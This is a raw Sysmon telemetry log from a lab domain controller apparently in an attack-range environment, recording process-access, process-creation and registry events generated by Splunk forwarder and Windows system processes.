l.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005499Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2957-5F80-3401-000000007F01}4308C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005498Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2957-5F80-3401-000000007F01}4308C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005497Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005496Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005495Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005494Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005493Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005492Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005491Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005490Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005489Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005488Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-2957-5F80-3401-000000007F01}4308C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005487Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2957-5F80-3401-000000007F01}4308C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005486Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.336{A5F018FF-2957-5F80-3401-000000007F01}4308C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe8.0.2Remote Performance monitor using WMIsplunk ApplicationSplunk Inc.splunk-wmi.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-wmi.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=5DA29397A44401083341D66B52CA8BC4,SHA256=F51A58BCBF3532B9EF1B6478839424C33EA0426BCD5C6B4B636AD25D5177379C,IMPHASH=FFEB0CD073A55A73D08AC443E4942F81{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005485Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:51.320{A5F018FF-2956-5F80-3301-000000007F01}30684896C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe+201f2b|C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe+a6c153|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 13241300x80000000000000005484Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localT1031,T1050SetValue2020-10-09 09:11:51.304{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\npf\ImagePath\??\C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\npf.sys 13241300x80000000000000005483Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localT1031,T1050SetValue2020-10-09 09:11:51.304{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exeHKLM\System\CurrentControlSet\Services\npf\StartDWORD (0x00000003) 10341000x80000000000000005528Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.820{A5F018FF-2958-5F80-3601-000000007F01}47124820C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005527Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2958-5F80-3601-000000007F01}4712C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005526Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005525Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005524Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005523Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005522Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005521Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005520Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005519Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.679{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005518Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 